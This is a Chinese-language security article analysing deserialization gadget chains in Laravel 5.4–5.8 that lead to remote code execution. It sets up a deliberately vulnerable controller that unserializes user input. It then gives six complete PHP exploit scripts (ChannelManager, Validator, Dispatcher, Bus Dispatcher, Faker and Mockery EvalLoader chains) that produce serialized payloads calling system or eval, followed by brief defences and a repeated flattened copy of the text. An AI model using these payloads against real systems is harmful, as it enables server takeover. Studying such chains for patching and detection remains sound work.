laravel5.4反序列化
字数 2116 2025-08-06 18:07:47

Laravel 5.4-5.8 反序列化漏洞分析与利用

环境搭建

composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"

添加路由(routes/web.php):

Route::get('/index', "testController@test");

添加控制器(Http/Controllers/testController.php):

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;

class testController {
    public function test(Request $request) {
        $payload = $request->input("cmd");
        unserialize(base64_decode($payload));
        return 'hello binbin';
    }
}

漏洞原理

Laravel 5.4-5.8 版本中存在多个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞主要利用PHP的反序列化机制和Laravel框架中的魔术方法(__destruct, __call等)以及回调函数(call_user_func, call_user_func_array等)来实现代码执行。

漏洞利用链分析

链子1: 通过ChannelManager实现RCE

利用链:

PendingBroadcast::__destruct() -> 
ChannelManager::__call() -> 
ChannelManager::driver() -> 
ChannelManager::createDriver() -> 
ChannelManager::callCustomCreator() -> 
RCE

关键点:

  1. 入口点: PendingBroadcast::__destruct() 调用 $this->events->dispatch($this->event)
  2. $this->eventsChannelManager 实例时,会触发 __call 方法
  3. ChannelManager::__call() 调用 driver() 方法
  4. driver() 方法最终调用 callCustomCreator(),其中存在危险的回调:
    return $this->customCreators[$driver]($this->app);
    

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Notifications {
    class ChannelManager {
        protected $defaultChannel;
        protected $customCreators;
        protected $app;
        public function __construct($defaultChannel, $customCreators, $app) {
            $this->defaultChannel = $defaultChannel;
            $this->customCreators = $customCreators;
            $this->app = $app;
        }
    }
}

namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Notifications\ChannelManager;
    $channelManager = new ChannelManager('binbin', array('binbin' => 'system'), 'whoami');
    $pendingBroadcast = new PendingBroadcast($channelManager, 'binbin');
    echo urlencode(base64_encode(serialize($pendingBroadcast)));
}

链子2: 通过Generator实现RCE(受__wakeup限制)

利用链:

PendingBroadcast::__destruct() -> 
Generator::__call() -> 
Generator::format() -> 
call_user_func_array()

关键点:

  1. 入口点同上
  2. $this->eventsGenerator 实例时,触发 __call 方法
  3. Generator::__call() 调用 format() 方法
  4. format() 方法调用 call_user_func_array($this->getFormatter($formatter), $arguments)
  5. 问题: Generator 类有 __wakeup() 方法会清空 $this->formatters

链子3: 通过Validator实现RCE

利用链:

PendingBroadcast::__destruct() -> 
Validator::__call() -> 
Validator::callExtension() -> 
call_user_func_array()

关键点:

  1. 入口点同上
  2. $this->eventsValidator 实例时,触发 __call 方法
  3. Validator::__call()$rule 为空字符串(因为 substr('dispatch', 8) 为空)
  4. 最终调用 call_user_func_array($this->extensions[''], $parameters)

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Validation {
    class Validator {
        public $extensions;
        public function __construct($extensions) {
            $this->extensions = $extensions;
        }
    }
}

namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Validation\Validator;
    $validator = new Validator(array('' => 'system'));
    $pendingBroadcast = new PendingBroadcast($validator, 'whoami');
    echo urlencode(base64_encode(serialize($pendingBroadcast)));
}

链子4: 通过Dispatcher实现RCE

利用链:

PendingBroadcast::__destruct() -> 
Dispatcher::dispatch() -> 
$listener($event, $payload)

关键点:

  1. 入口点同上
  2. $this->eventsDispatcher 实例时,调用 dispatch() 方法
  3. dispatch() 方法中会遍历 $this->listeners[$event] 并执行:
    $response = $listener($event, $payload);
    

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        public function __construct($listeners) {
            $this->listeners = $listeners;
        }
    }
}

namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Events\Dispatcher;
    $event = 'whoami';
    $dispatcher = new Dispatcher(array($event => ['system']));
    $pendingBroadcast = new PendingBroadcast($dispatcher, $event);
    echo urlencode(base64_encode(serialize($pendingBroadcast)));
}

链子5: 通过Bus Dispatcher实现RCE

利用链:

PendingBroadcast::__destruct() -> 
Dispatcher::dispatch() -> 
Dispatcher::dispatchToQueue() -> 
call_user_func($this->queueResolver, $connection)

关键点:

  1. 入口点同上
  2. $this->eventsBus\Dispatcher 实例时,调用 dispatch() 方法
  3. $command 需要实现 ShouldQueue 接口
  4. 最终调用 call_user_func($this->queueResolver, $connection)

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Illuminate\Foundation\Console {
    class QueuedCommand {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
    $event = 'whoami';
    $queuedCommand = new QueuedCommand($event);
    $dispatcher = new Dispatcher('system');
    $pendingBroadcast = new PendingBroadcast($dispatcher, $queuedCommand);
    echo urlencode(base64_encode(serialize($pendingBroadcast)));
}

链子6: 通过ValidGenerator实现RCE

利用链:

PendingBroadcast::__destruct() -> 
ValidGenerator::__call() -> 
call_user_func_array(array($this->generator, $name), $arguments) -> 
DefaultGenerator::__call() -> 
返回$this->default

关键点:

  1. 入口点同上
  2. $this->eventsValidGenerator 实例时,触发 __call 方法
  3. ValidGenerator::__call() 调用 call_user_func_array(array($this->generator, $name), $arguments)
  4. $this->generatorDefaultGenerator 实例,其 __call 方法返回 $this->default
  5. 最终调用 call_user_func($this->validator, $res)

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
    
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($generator, $validator, $maxRetries) {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
}

namespace {
    use Faker\DefaultGenerator;
    use Faker\ValidGenerator;
    use Illuminate\Broadcasting\PendingBroadcast;
    $defaultGenerator = new DefaultGenerator('whoami');
    $validGenerator = new ValidGenerator($defaultGenerator, 'system', 1);
    $pendingBroadcast = new PendingBroadcast($validGenerator, 'whoami');
    echo urlencode(base64_encode(serialize($pendingBroadcast)));
}

链子7: 通过Mockery EvalLoader实现RCE

利用链:

PendingBroadcast::__destruct() -> 
Dispatcher::dispatch() -> 
Dispatcher::dispatchToQueue() -> 
call_user_func([EvalLoader, 'load'], $connection) -> 
EvalLoader::load() -> 
eval()

关键点:

  1. 入口点同上
  2. 使用 EvalLoaderload 方法,其中包含 eval 函数
  3. 通过控制 MockDefinitioncode 属性实现代码执行

EXP:

<?php
namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        }
    }
}

namespace Illuminate\Foundation\Console {
    use Mockery\Generator\MockDefinition;
    class QueuedCommand {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition();
        }
    }
}

namespace Mockery\Generator {
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct() {
            $this->code = "<?php echo system('whoami'); exit(); ?>";
            $this->config = new MockConfiguration();
        }
    }
    class MockConfiguration {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    echo urlencode(serialize(new PendingBroadcast()));
}

防御措施

  1. 升级到最新版本的Laravel框架
  2. 避免反序列化用户可控的数据
  3. 使用白名单机制限制可反序列化的类
  4. 实现__wakeup()__destruct()方法时进行安全检查

总结

Laravel 5.4-5.8版本中存在多个反序列化漏洞利用链,主要利用点是PendingBroadcast类的__destruct方法和各种回调函数。攻击者可以通过精心构造的序列化数据实现远程代码执行。开发者应及时升级框架版本,并避免反序列化不可信的数据。

Laravel 5.4-5.8 反序列化漏洞分析与利用 环境搭建 添加路由(routes/web.php): 添加控制器(Http/Controllers/testController.php): 漏洞原理 Laravel 5.4-5.8 版本中存在多个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞主要利用PHP的反序列化机制和Laravel框架中的魔术方法(__ destruct, __ call等)以及回调函数(call_ user_ func, call_ user_ func_ array等)来实现代码执行。 漏洞利用链分析 链子1: 通过ChannelManager实现RCE 利用链 : 关键点 : 入口点: PendingBroadcast::__destruct() 调用 $this->events->dispatch($this->event) 当 $this->events 是 ChannelManager 实例时,会触发 __call 方法 ChannelManager::__call() 调用 driver() 方法 driver() 方法最终调用 callCustomCreator() ,其中存在危险的回调: EXP : 链子2: 通过Generator实现RCE(受__ wakeup限制) 利用链 : 关键点 : 入口点同上 当 $this->events 是 Generator 实例时,触发 __call 方法 Generator::__call() 调用 format() 方法 format() 方法调用 call_user_func_array($this->getFormatter($formatter), $arguments) 问题: Generator 类有 __wakeup() 方法会清空 $this->formatters 链子3: 通过Validator实现RCE 利用链 : 关键点 : 入口点同上 当 $this->events 是 Validator 实例时,触发 __call 方法 Validator::__call() 中 $rule 为空字符串(因为 substr('dispatch', 8) 为空) 最终调用 call_user_func_array($this->extensions[''], $parameters) EXP : 链子4: 通过Dispatcher实现RCE 利用链 : 关键点 : 入口点同上 当 $this->events 是 Dispatcher 实例时,调用 dispatch() 方法 dispatch() 方法中会遍历 $this->listeners[$event] 并执行: EXP : 链子5: 通过Bus Dispatcher实现RCE 利用链 : 关键点 : 入口点同上 当 $this->events 是 Bus\Dispatcher 实例时,调用 dispatch() 方法 $command 需要实现 ShouldQueue 接口 最终调用 call_user_func($this->queueResolver, $connection) EXP : 链子6: 通过ValidGenerator实现RCE 利用链 : 关键点 : 入口点同上 当 $this->events 是 ValidGenerator 实例时,触发 __call 方法 ValidGenerator::__call() 调用 call_user_func_array(array($this->generator, $name), $arguments) $this->generator 是 DefaultGenerator 实例,其 __call 方法返回 $this->default 最终调用 call_user_func($this->validator, $res) EXP : 链子7: 通过Mockery EvalLoader实现RCE 利用链 : 关键点 : 入口点同上 使用 EvalLoader 的 load 方法,其中包含 eval 函数 通过控制 MockDefinition 的 code 属性实现代码执行 EXP : 防御措施 升级到最新版本的Laravel框架 避免反序列化用户可控的数据 使用白名单机制限制可反序列化的类 实现 __wakeup() 或 __destruct() 方法时进行安全检查 总结 Laravel 5.4-5.8版本中存在多个反序列化漏洞利用链,主要利用点是 PendingBroadcast 类的 __destruct 方法和各种回调函数。攻击者可以通过精心构造的序列化数据实现远程代码执行。开发者应及时升级框架版本,并避免反序列化不可信的数据。